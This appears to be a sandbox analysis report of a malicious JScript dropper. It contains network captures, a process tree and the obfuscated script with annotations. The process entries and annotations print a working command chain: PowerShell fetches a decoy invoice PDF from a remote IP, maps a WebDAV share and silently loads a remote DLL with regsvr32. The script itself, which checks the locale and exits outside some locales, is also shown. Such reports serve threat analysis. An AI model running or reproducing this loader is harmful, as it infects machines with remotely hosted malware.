Jan 10, 2025 17:16:44.318934917 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 10, 2025 17:16:44.318947077 CET	1236	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 10, 2025 17:16:44.318958998 CET	1236	IN	Data Raw: 0c bd ef 63 e8 cd cd e3 f5 d5 c3 d5 e5 fd c5 79 13 43 4f 4f 6e 4f 8e 6e 8f 0e 9a 18 fa 41 62 e8 2b 1f 43 73 93 a1 97 6f bb 18 7a bd 3f 8f a1 77 5d 0c bd 68 63 e8 f5 e3 20 86 8e 1d 1b 4a 0c dd b0 a9 6f 4e 00 00 00 d3 e0 8b 25 00 f8 ec ec d4 bf ed Data Ascii: cyCOOnOnAb+Csoz?w]hc JoN%.k#W?6i]5;e)}m{bMC?dbh1xCRcxeSM}s_,gdwY]}-\?'M@Une
Jan 10, 2025 17:16:44.318970919 CET	1120	IN	Data Raw: be 39 01 00 00 4c 83 2f 96 00 60 a7 e4 ee c3 e1 37 de 73 b5 22 0c 16 6b 89 05 e5 0b d0 25 e5 71 65 85 2e b3 44 a4 58 bd 4f d5 5c c6 a2 4f a0 b9 b0 4d 5c d5 86 5e df cd 5d d8 2a 9f 26 b9 27 b9 de e6 9e ae 25 de f6 35 6f b9 f0 9a c3 5f b6 83 af e6 Data Ascii: 9L/`7s"k%qe.DXO\OM\^]*&'%5o_&^^O\CS1Cb96tCoN%;_ekZl3<".wU\^]r)5s3~\AV6[E_
Jan 10, 2025 17:16:44.318984985 CET	1236	IN	Data Raw: ff 6d 63 e8 87 79 0c 3d 3d e9 62 e8 a5 c4 d0 ee d8 d0 26 86 3e a4 18 6a 8e 0d 6d ff 89 c9 a6 dc 0d 9b fa e6 04 00 00 30 0d be 58 02 80 09 f9 fb 6d f8 2d fa 30 51 3d e4 f7 5b 56 7e a3 7e d1 52 a0 33 41 d8 7d 74 f1 49 71 f3 b2 77 51 27 fd 62 1d 46 Data Ascii: mcy==b&>jm0Xm-0Q=[V~~R3A}tIqwQ'bFMs>d,Qlsj>US*r5+'BV`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(
Jan 10, 2025 17:16:44.318996906 CET	1236	IN	Data Raw: 3e 29 6b a6 fa b9 d7 7a df 7b e7 a4 bf 9f 7e 59 6a a3 52 45 73 49 34 8c 59 3e 83 16 86 f5 e4 6a 75 a2 3a e8 85 f3 aa e5 cb c8 25 51 53 69 73 13 97 85 ab 2a 8c d0 9a 41 d1 5c a5 35 13 73 66 90 b0 70 79 e6 da ca 97 97 2b 7a b9 82 56 d9 43 2b 4b 68 Data Ascii: >)kz{~YjREsI4Y>ju:%QSis*A\5sfpy+zVC+KhXs}}j6AC?P}Cf~<_~GB]N{;\|`L80MmbYCn1+=MCWbqC/tP)k6`\|o5%47;Vr\&
Jan 10, 2025 17:16:44.319010019 CET	1236	IN	Data Raw: 37 07 77 ce 63 e8 c9 ed 49 13 43 6f 24 86 1e a4 18 2a c3 a1 35 49 f4 7d 57 42 db 1d b9 6d 0c dd b7 31 f4 ec b4 f9 1d 2f e5 d8 d0 9b c7 79 0c e5 d8 d0 69 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 76 98 fb 6a 61 41 6e 79 21 6d ee bc cb d1 63 fe ca 3d 34 Data Ascii: 7wcICo$5I}WBm1/yiL}s_,vjaAny!mc=4LdLOJH_[?EfW$:P2"HI34PY\1{}*0c:S!4,fzx6"4Ts~~\|5fUGKhe?0P3K~0d80]f6WD
Jan 10, 2025 17:16:44.319022894 CET	104	IN	Data Raw: 00 4c 83 2f 96 00 60 d3 cc 1d b5 66 2c 34 ec 3b 52 42 c3 f3 fe 84 3f 4d 32 dc 69 69 86 f2 f4 b1 7a 52 2b 72 a3 5b b9 06 94 26 07 65 14 ce 94 d0 d4 40 53 fd fc e6 9b 6f fe 47 f9 a6 95 aa e8 ec 97 cd 7e 71 1a 11 fd e9 a7 9f 52 1e 4a 2d 26 d7 43 25 Data Ascii: L/`f,4;RB?M2iizR+r[&e@SoG~qRJ-&C%*%Ex9rdO_Fnm
Jan 10, 2025 17:16:44.361615896 CET	1236	IN	Data Raw: d9 dc 2b f3 aa a6 d3 f9 38 95 52 63 f9 7c d5 25 06 09 d3 8b ee 67 09 6b da 99 94 50 69 c7 92 cc 7e 76 cc a9 af fa 55 d3 3d d4 8f 13 2e b1 5b b5 5c 42 4d c9 92 98 25 01 ab f2 ac d5 f2 89 9c e1 82 5c 5d 42 d3 73 a5 17 44 7f 3f a4 77 44 fb 05 d1 a3 Data Ascii: +8Rc\|%gkPi~vU=.[\BM%\]BsD?wD4Sy-_P\93\|J!27o31!`8?0=0cCr&wzb<0XM3wTCsc6Zs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	193.143.1.205	8888	1020	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 17:16:45.700809002 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 17:16:46.503185034 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 16:16:46 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	11:16:39
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\25917225161220417691.js"
Imagebase:	0x7ff642250000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	11:16:40
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29323177493044.dll
Imagebase:	0x7ff73dbf0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	11:16:40
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	11:16:40
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	11:16:44
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff686a00000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	11:16:44
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff73dbf0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	11:16:44
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff758a10000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	11:16:45
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	11:16:45
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	11:16:45
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1680,i,4882643413840628945,11293059792243760680,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function itjivh() {	itjivh() ➔ undefined
1	mlosmfk = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var snenjefq = this[cceol + pyasy + snqtvzlwj + kyjld + aewmvacb + lfqun + nfzhnpya + vmwiemi] ( this[iznxnl + bjdjzlqx + asxzbn + snqtvzlwj + itjlgmd + cceol + vmwiemi][aksvfj + snqtvzlwj + aewmvacb + pyasy + vmwiemi + aewmvacb + dtjunmxl + iqquecfdj + wdjrah + aewmvacb + asxzbn + vmwiemi] ( iznxnl + bjdjzlqx + asxzbn + snqtvzlwj + itjlgmd + cceol + vmwiemi + pmyvrwio + bjdjzlqx + kwbwuncx + aewmvacb + aieak + aieak ) [novxw + aewmvacb + ogwji + novxw + aewmvacb + pyasy + upwtj] ( wfiwym + zphzkqrt + fmeojo + faeqq + wlbdg + aksvfj + whouitet + novxw + novxw + fmeojo + dndfvyt + zsjfil + wlbdg + whouitet + bjdjzlqx + fmeojo + novxw + fpgxtgd + aksvfj + eitzj + nfzhnpya + vmwiemi + snqtvzlwj + eitzj + aieak + duave + ggyzla + pyasy + nfzhnpya + aewmvacb + aieak + fpgxtgd + lfqun + nfzhnpya + vmwiemi + aewmvacb + snqtvzlwj + nfzhnpya + pyasy + vmwiemi + itjlgmd + eitzj + nfzhnpya + pyasy + aieak + fpgxtgd + ubwlubg + eitzj + asxzbn + pyasy + aieak + aewmvacb ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( cigxm = 0 ; cigxm < mlosmfk[aieak + aewmvacb + nfzhnpya + ogwji + vmwiemi + kwbwuncx] ; ++ cigxm )
4	{
5	if ( snenjefq == mlosmfk[cigxm] )
6	{
7	snenjefq = true;
8	break ;
9	}
10	}
11	if ( snenjefq !== true )
12	this[iznxnl + bjdjzlqx + asxzbn + snqtvzlwj + itjlgmd + cceol + vmwiemi][aozrzj + svyux + itjlgmd + vmwiemi] ( );
13	this[iznxnl + bjdjzlqx + asxzbn + snqtvzlwj + itjlgmd + cceol + vmwiemi][aksvfj + snqtvzlwj + aewmvacb + pyasy + vmwiemi + aewmvacb + dtjunmxl + iqquecfdj + wdjrah + aewmvacb + asxzbn + vmwiemi] ( iznxnl + bjdjzlqx + asxzbn + snqtvzlwj + itjlgmd + cceol + vmwiemi + pmyvrwio + bjdjzlqx + kwbwuncx + aewmvacb + aieak + aieak ) [snqtvzlwj + svyux + nfzhnpya] ( asxzbn + xhjca + upwtj + duave + hilbw + asxzbn + duave + cceol + eitzj + vgxpqq + aewmvacb + snqtvzlwj + kyjld + kwbwuncx + aewmvacb + aieak + aieak + pmyvrwio + aewmvacb + tavfzi + aewmvacb + duave + ktphou + aksvfj + eitzj + xhjca + xhjca + pyasy + nfzhnpya + upwtj + duave + idyfq + lfqun + nfzhnpya + iieegbny + eitzj + vfqksfio + aewmvacb + ktphou + iznxnl + aewmvacb + iqquecfdj + novxw + aewmvacb + bafsb + svyux + aewmvacb + kyjld + vmwiemi + duave + ktphou + dtjunmxl + svyux + vmwiemi + jpbvdx + itjlgmd + aieak + aewmvacb + duave + tvkul + vmwiemi + aewmvacb + xhjca + cceol + tvkul + fpgxtgd + itjlgmd + nfzhnpya + iieegbny + eitzj + itjlgmd + asxzbn + aewmvacb + pmyvrwio + cceol + upwtj + iazzady + duave + kwbwuncx + vmwiemi + vmwiemi + cceol + isgbb + hilbw + hilbw + reyjkuia + mgibqupx + mlvgmkgsu + pmyvrwio + reyjkuia + yueveji + mlvgmkgsu + pmyvrwio + reyjkuia + pmyvrwio + pzkpns + qlaoi + fkscv + hilbw + itjlgmd + nfzhnpya + iieegbny + eitzj + itjlgmd + asxzbn + aewmvacb + pmyvrwio + cceol + kwbwuncx + cceol + idyfq + mibegf + mibegf + kyjld + vmwiemi + pyasy + snqtvzlwj + vmwiemi + duave + tvkul + vmwiemi + aewmvacb + xhjca + cceol + tvkul + fpgxtgd + itjlgmd + nfzhnpya + iieegbny + eitzj + itjlgmd + asxzbn + aewmvacb + pmyvrwio + cceol + upwtj + iazzady + mibegf + mibegf + asxzbn + xhjca + upwtj + duave + hilbw + asxzbn + duave + nfzhnpya + aewmvacb + vmwiemi + duave + svyux + kyjld + aewmvacb + duave + fpgxtgd + fpgxtgd + reyjkuia + mgibqupx + mlvgmkgsu + pmyvrwio + reyjkuia + yueveji + mlvgmkgsu + pmyvrwio + reyjkuia + pmyvrwio + pzkpns + qlaoi + fkscv + uvomnlw + betbyb + betbyb + betbyb + betbyb + fpgxtgd + upwtj + pyasy + iieegbny + vgxpqq + vgxpqq + vgxpqq + snqtvzlwj + eitzj + eitzj + vmwiemi + fpgxtgd + mibegf + mibegf + asxzbn + xhjca + upwtj + duave + hilbw + asxzbn + duave + snqtvzlwj + aewmvacb + ogwji + kyjld + iieegbny + snqtvzlwj + mlvgmkgsu + pzkpns + duave + hilbw + kyjld + duave + fpgxtgd + fpgxtgd + reyjkuia + mgibqupx + mlvgmkgsu + pmyvrwio + reyjkuia + yueveji + mlvgmkgsu + pmyvrwio + reyjkuia + pmyvrwio + pzkpns + qlaoi + fkscv + uvomnlw + betbyb + betbyb + betbyb + betbyb + fpgxtgd + upwtj + pyasy + iieegbny + vgxpqq + vgxpqq + vgxpqq + snqtvzlwj + eitzj + eitzj + vmwiemi + fpgxtgd + pzkpns + mgibqupx + mlvgmkgsu + pzkpns + mlvgmkgsu + reyjkuia + dxbrdjh + dxbrdjh + yueveji + mgibqupx + mlvgmkgsu + qlaoi + yueveji + yueveji + pmyvrwio + upwtj + aieak + aieak, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29323177493044.dll",0,false) ➔ 0
14	}
15	qlaoi = "X";
16	qlaoi = "M";
17	qlaoi = "u";
18	qlaoi = "F";
19	qlaoi = "G";
20	qlaoi = "F";
21	qlaoi = "j";
22	qlaoi = "n";
23	qlaoi = "w";
24	qlaoi = "Z";
25	qlaoi = "S";
26	qlaoi = "t";
27	qlaoi = "m";
28	qlaoi = "l";
29	qlaoi = "f";
30	qlaoi = "S";
31	qlaoi = "L";
32	qlaoi = "t";
33	qlaoi = "u";
34	qlaoi = "n";
35	qlaoi = "D";
36	qlaoi = "R";
37	qlaoi = "H";
38	qlaoi = "K";
39	qlaoi = "B";
40	qlaoi = "0";
41	aozrzj = "z";
42	aozrzj = "s";
43	aozrzj = "L";
44	aozrzj = "Y";
45	aozrzj = "q";
46	aozrzj = "o";
47	aozrzj = "X";
48	aozrzj = "Z";
49	aozrzj = "V";
50	aozrzj = "S";
51	aozrzj = "g";
52	aozrzj = "O";
53	aozrzj = "c";
54	aozrzj = "x";
55	aozrzj = "G";
56	aozrzj = "c";
57	aozrzj = "s";
58	aozrzj = "r";
59	aozrzj = "j";
60	aozrzj = "s";
61	aozrzj = "A";
62	aozrzj = "A";
63	aozrzj = "D";
64	aozrzj = "S";
65	aozrzj = "z";
66	aozrzj = "m";
67	aozrzj = "Q";
68	aozrzj = "T";
69	aozrzj = "i";
70	aozrzj = "W";
71	aozrzj = "Q";
72	ogwji = "R";
73	ogwji = "t";
74	ogwji = "i";
75	ogwji = "C";
76	ogwji = "V";
77	ogwji = "I";
78	ogwji = "B";
79	ogwji = "F";
80	ogwji = "g";
81	ogwji = "t";
82	ogwji = "C";
83	ogwji = "r";
84	ogwji = "k";
85	ogwji = "E";
86	ogwji = "n";
87	ogwji = "g";
88	ogwji = "o";
89	ogwji = "U";
90	ogwji = "R";
91	ogwji = "S";
92	ogwji = "M";
93	ogwji = "j";
94	ogwji = "X";
95	ogwji = "V";
96	ogwji = "v";
97	ogwji = "x";
98	ogwji = "T";
99	ogwji = "a";
100	ogwji = "A";
101	ogwji = "Q";
102	ogwji = "s";
103	ogwji = "l";
104	ogwji = "j";
105	ogwji = "O";
106	ogwji = "r";
107	ogwji = "K";
108	ogwji = "m";
109	ogwji = "u";
110	ogwji = "N";
111	ogwji = "e";
112	ogwji = "p";
113	ogwji = "i";
114	ogwji = "y";
115	ogwji = "s";
116	ogwji = "g";
117	xhjca = "o";
118	xhjca = "h";
119	xhjca = "U";
120	xhjca = "Z";
121	xhjca = "d";
122	xhjca = "s";
123	xhjca = "p";
124	xhjca = "B";
125	xhjca = "a";
126	xhjca = "K";
127	xhjca = "T";
128	xhjca = "q";
129	xhjca = "f";
130	xhjca = "u";
131	xhjca = "Z";
132	xhjca = "E";
133	xhjca = "v";
134	xhjca = "y";
135	xhjca = "m";
136	xhjca = "N";
137	xhjca = "P";
138	xhjca = "m";
139	duave = "v";
140	duave = "r";
141	duave = "W";
142	duave = "N";
143	duave = "k";
144	duave = "v";
145	duave = "D";
146	duave = "C";
147	duave = "C";
148	duave = "r";
149	duave = "q";
150	duave = "Y";
151	duave = "O";
152	duave = " ";
153	vgxpqq = "Y";
154	vgxpqq = "a";
155	vgxpqq = "K";
156	vgxpqq = "B";
157	vgxpqq = "g";
158	vgxpqq = "w";
159	wlbdg = "h";
160	wlbdg = "u";
161	wlbdg = "P";
162	wlbdg = "m";
163	wlbdg = "m";
164	wlbdg = "s";
165	wlbdg = "G";
166	wlbdg = "P";
167	wlbdg = "t";
168	wlbdg = "_";
169	zsjfil = "a";
170	zsjfil = "z";
171	zsjfil = "c";
172	zsjfil = "L";
173	zsjfil = "M";
174	zsjfil = "z";
175	zsjfil = "P";
176	zsjfil = "i";
177	zsjfil = "V";
178	zsjfil = "l";
179	zsjfil = "p";
180	zsjfil = "V";
181	zsjfil = "b";
182	zsjfil = "P";
183	zsjfil = "p";
184	zsjfil = "q";
185	zsjfil = "n";
186	zsjfil = "r";
187	zsjfil = "u";
188	zsjfil = "B";
189	zsjfil = "Y";
190	zsjfil = "z";
191	zsjfil = "U";
192	zsjfil = "l";
193	zsjfil = "o";
194	zsjfil = "Q";
195	zsjfil = "D";
196	zsjfil = "Y";
197	zsjfil = "A";
198	zsjfil = "O";
199	zsjfil = "T";
200	mibegf = "P";
201	mibegf = "h";
202	mibegf = "i";
203	mibegf = "m";
204	mibegf = "C";
205	mibegf = "a";
206	mibegf = "k";
207	mibegf = "Q";
208	mibegf = "O";
209	mibegf = "E";
210	mibegf = "C";
211	mibegf = "v";
212	mibegf = "m";
213	mibegf = "W";
214	mibegf = "y";
215	mibegf = "E";
216	mibegf = "u";
217	mibegf = "F";
218	mibegf = "S";
219	mibegf = "w";
220	mibegf = "x";
221	mibegf = "T";
222	mibegf = "T";
223	mibegf = "B";
224	mibegf = "w";
225	mibegf = "&";
226	fkscv = "I";
227	fkscv = "E";
228	fkscv = "I";
229	fkscv = "u";
230	fkscv = "l";
231	fkscv = "S";
232	fkscv = "o";
233	fkscv = "r";
234	fkscv = "U";
235	fkscv = "w";
236	fkscv = "j";
237	fkscv = "j";
238	fkscv = "s";
239	fkscv = "F";
240	fkscv = "5";
241	eitzj = "y";
242	eitzj = "v";
243	eitzj = "a";
244	eitzj = "e";
245	eitzj = "i";
246	eitzj = "v";
247	eitzj = "Y";
248	eitzj = "Q";
249	eitzj = "T";
250	eitzj = "a";
251	eitzj = "R";
252	eitzj = "b";
253	eitzj = "E";
254	eitzj = "l";
255	eitzj = "q";
256	eitzj = "U";
257	eitzj = "F";
258	eitzj = "n";
259	eitzj = "o";
260	tavfzi = "P";
261	tavfzi = "k";
262	tavfzi = "E";
263	tavfzi = "Q";
264	tavfzi = "D";
265	tavfzi = "R";
266	tavfzi = "E";
267	tavfzi = "A";
268	tavfzi = "I";
269	tavfzi = "L";
270	tavfzi = "Q";
271	tavfzi = "m";
272	tavfzi = "f";
273	tavfzi = "Y";
274	tavfzi = "n";
275	tavfzi = "C";
276	tavfzi = "f";
277	tavfzi = "T";
278	tavfzi = "Y";
279	tavfzi = "H";
280	tavfzi = "m";
281	tavfzi = "Q";
282	tavfzi = "z";
283	tavfzi = "u";
284	tavfzi = "x";
285	vmwiemi = "o";
286	vmwiemi = "k";
287	vmwiemi = "b";
288	vmwiemi = "p";
289	vmwiemi = "g";
290	vmwiemi = "F";
291	vmwiemi = "G";
292	vmwiemi = "p";
293	vmwiemi = "J";
294	vmwiemi = "X";
295	vmwiemi = "J";
296	vmwiemi = "j";
297	vmwiemi = "c";
298	vmwiemi = "S";
299	vmwiemi = "o";
300	vmwiemi = "V";
301	vmwiemi = "g";
302	vmwiemi = "k";
303	vmwiemi = "V";
304	vmwiemi = "N";
305	vmwiemi = "r";
306	vmwiemi = "q";
307	vmwiemi = "J";
308	vmwiemi = "l";
309	vmwiemi = "w";
310	vmwiemi = "g";
311	vmwiemi = "I";
312	vmwiemi = "W";
313	vmwiemi = "N";
314	vmwiemi = "h";
315	vmwiemi = "Q";
316	vmwiemi = "y";
317	vmwiemi = "G";
318	vmwiemi = "h";
319	vmwiemi = "Y";
320	vmwiemi = "o";
321	vmwiemi = "t";
322	novxw = "B";
323	novxw = "Y";
324	novxw = "s";
325	novxw = "u";
326	novxw = "o";
327	novxw = "j";
328	novxw = "b";
329	novxw = "E";
330	novxw = "o";
331	novxw = "y";
332	novxw = "h";
333	novxw = "U";
334	novxw = "P";
335	novxw = "d";
336	novxw = "b";
337	novxw = "q";
338	novxw = "C";
339	novxw = "y";
340	novxw = "V";
341	novxw = "c";
342	novxw = "A";
343	novxw = "B";
344	novxw = "P";
345	novxw = "J";
346	novxw = "H";
347	novxw = "G";
348	novxw = "I";
349	novxw = "G";
350	novxw = "o";
351	novxw = "l";
352	novxw = "O";
353	novxw = "M";
354	novxw = "H";
355	novxw = "e";
356	novxw = "R";
357	betbyb = "s";
358	betbyb = "r";
359	betbyb = "d";
360	betbyb = "z";
361	betbyb = "X";
362	betbyb = "j";
363	betbyb = "Y";
364	betbyb = "y";
365	betbyb = "z";
366	betbyb = "p";
367	betbyb = "k";
368	betbyb = "n";
369	betbyb = "X";
370	betbyb = "v";
371	betbyb = "y";
372	betbyb = "P";
373	betbyb = "D";
374	betbyb = "s";
375	betbyb = "c";
376	betbyb = "t";
377	betbyb = "O";
378	betbyb = "n";
379	betbyb = "8";
380	upwtj = "W";
381	upwtj = "Z";
382	upwtj = "Q";
383	upwtj = "f";
384	upwtj = "d";
385	wdjrah = "G";
386	wdjrah = "M";
387	wdjrah = "t";
388	wdjrah = "B";
389	wdjrah = "K";
390	wdjrah = "m";
391	wdjrah = "Z";
392	wdjrah = "j";
393	bafsb = "S";
394	bafsb = "U";
395	bafsb = "p";
396	bafsb = "C";
397	bafsb = "s";
398	bafsb = "s";
399	bafsb = "M";
400	bafsb = "i";
401	bafsb = "s";
402	bafsb = "E";
403	bafsb = "K";
404	bafsb = "U";
405	bafsb = "K";
406	bafsb = "c";
407	bafsb = "I";
408	bafsb = "v";
409	bafsb = "y";
410	bafsb = "y";
411	bafsb = "u";
412	bafsb = "o";
413	bafsb = "M";
414	bafsb = "O";
415	bafsb = "i";
416	bafsb = "t";
417	bafsb = "N";
418	bafsb = "B";
419	bafsb = "w";
420	bafsb = "d";
421	bafsb = "b";
422	bafsb = "L";
423	bafsb = "Y";
424	bafsb = "L";
425	bafsb = "H";
426	bafsb = "L";
427	bafsb = "Z";
428	bafsb = "Y";
429	bafsb = "j";
430	bafsb = "Q";
431	bafsb = "k";
432	bafsb = "x";
433	bafsb = "q";
434	tvkul = "w";
435	tvkul = "p";
436	tvkul = "s";
437	tvkul = "H";
438	tvkul = "g";
439	tvkul = "U";
440	tvkul = "o";
441	tvkul = "E";
442	tvkul = "r";
443	tvkul = "t";
444	tvkul = "J";
445	tvkul = "d";
446	tvkul = "a";
447	tvkul = "o";
448	tvkul = "h";
449	tvkul = "P";
450	tvkul = "i";
451	tvkul = "e";
452	tvkul = "T";
453	tvkul = "k";
454	tvkul = "T";
455	tvkul = "Q";
456	tvkul = "T";
457	tvkul = "g";
458	tvkul = "c";
459	tvkul = "F";
460	tvkul = "q";
461	tvkul = "i";
462	tvkul = "E";
463	tvkul = "p";
464	tvkul = "C";
465	tvkul = "P";
466	tvkul = "o";
467	tvkul = "N";
468	tvkul = "w";
469	tvkul = "A";
470	tvkul = "N";
471	tvkul = "%";
472	nfzhnpya = "L";
473	nfzhnpya = "N";
474	nfzhnpya = "A";
475	nfzhnpya = "v";
476	nfzhnpya = "J";
477	nfzhnpya = "h";
478	nfzhnpya = "z";
479	nfzhnpya = "E";
480	nfzhnpya = "w";
481	nfzhnpya = "h";
482	nfzhnpya = "S";
483	nfzhnpya = "P";
484	nfzhnpya = "L";
485	nfzhnpya = "l";
486	nfzhnpya = "g";
487	nfzhnpya = "r";
488	nfzhnpya = "P";
489	nfzhnpya = "p";
490	nfzhnpya = "D";
491	nfzhnpya = "H";
492	nfzhnpya = "D";
493	nfzhnpya = "a";
494	nfzhnpya = "I";
495	nfzhnpya = "w";
496	nfzhnpya = "N";
497	nfzhnpya = "R";
498	nfzhnpya = "n";
499	vfqksfio = "k";
500	ggyzla = "t";
501	ggyzla = "O";
502	ggyzla = "z";
503	ggyzla = "o";
504	ggyzla = "B";
505	ggyzla = "z";
506	ggyzla = "K";
